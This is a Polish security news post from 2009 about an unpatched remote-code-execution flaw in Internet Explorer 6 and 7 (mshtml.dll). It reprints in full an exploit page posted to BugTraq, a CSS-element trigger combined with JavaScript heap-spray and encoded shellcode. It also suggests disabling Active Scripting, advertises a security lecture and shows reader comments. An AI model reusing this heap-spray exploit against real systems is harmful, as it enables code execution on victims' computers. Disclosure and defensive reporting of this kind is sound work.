19:31
23/11/2009

Mamy 0daya w w przeglądarkach Microsoft Internet Exporer 6 oraz 7. Dziura pozwala na zdalne wykonanie kodu na systemie ofiary (po zwabieniu użytkownika na odpowiednio spreparowaną stronę) oraz crash przeglądarki.

Parę dni temu na grupie dyskusyjnej BugTraq pojawił się tajemniczy post zawierający kod exploita:

<!--securitylab.ir K4mr4n_st (at) yahoo (dot) com [email concealed]-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">body{ overflow: scroll; margin: 0; }</style>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u
0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u
543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u
89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u
0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script> </HEAD><BODY onload="load()"></BODY></HTML>

Problem leży w Microsoft HTML Viewer (mshtml.dll) i ujawnia się podczas pobierania przez przeglądarkę stylu (CSS) za pomocą metody “getElementsByTagName()“. Firma VUPEN, potwierdziła błąd na w pełni zaktualizowanym systemie Windows XP SP3.

Rozwiązanie

Do tej pory nie ma oficjalnego patcha. Sugeruje się wyłączenie opcji Active Scripting dla stref “Internet” oraz “Local Intranet”


Dowiedz się, jak zabezpieczyć swoje dane i pieniądze przed cyberprzestępcami. Wpadnij na nasz kultowy ~3 godzinny wykład pt. "Jak nie dać się zhackować?" i poznaj kilkadziesiąt praktycznych i przede wszystkim prostych do zastosowania porad, które skutecznie podniosą Twoje bezpieczeństwo i pomogą ochronić przed atakami Twoich najbliższych. Uczestnicy tego wykładu oceniają go na: 9,34/10!

Na ten wykład powinien przyjść każdy, kto korzysta z internetu na smartfonie lub komputerze, prywatnie albo służbowo. Wykład prowadzimy prostym językiem, wiec zrozumie go każdy, także osoby spoza branży IT. Dlatego na wykład możesz spokojnie przyjść ze swoimi rodzicami lub mniej technicznymih znajomych. W najbliższych tygodniach będziemy w poniższych miastach:

Zobacz pełen opis wykładu klikając tutaj lub kup bilet na wykład klikając tu.

5 komentarzy

Dodaj komentarz
  1. Na szczęście Active Scripting nie musi być włączony zawsze.No i dotyczy to tylko albo aż Internet Explorera.

  2. 0day, ale avast! i tak blokuje dostęp to strony wykrywając wirusa :)

  3. U mnie to nie działa… może dlatego, że IE6 zainstalowałem przez WINE :)

  4. Poprawka- jednak działa, tyle że Opera też zalicza crasha.

  5. […] pisaliśmy o błędach bezpieczeństwa znalezionych w IE6 i IE7. Aby pozbyć się problemów, Microsoft zalecał “zaniepokojonym” użytkownikom […]

Odpowiadasz na komentarz sanq

Kliknij tu, aby anulować

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: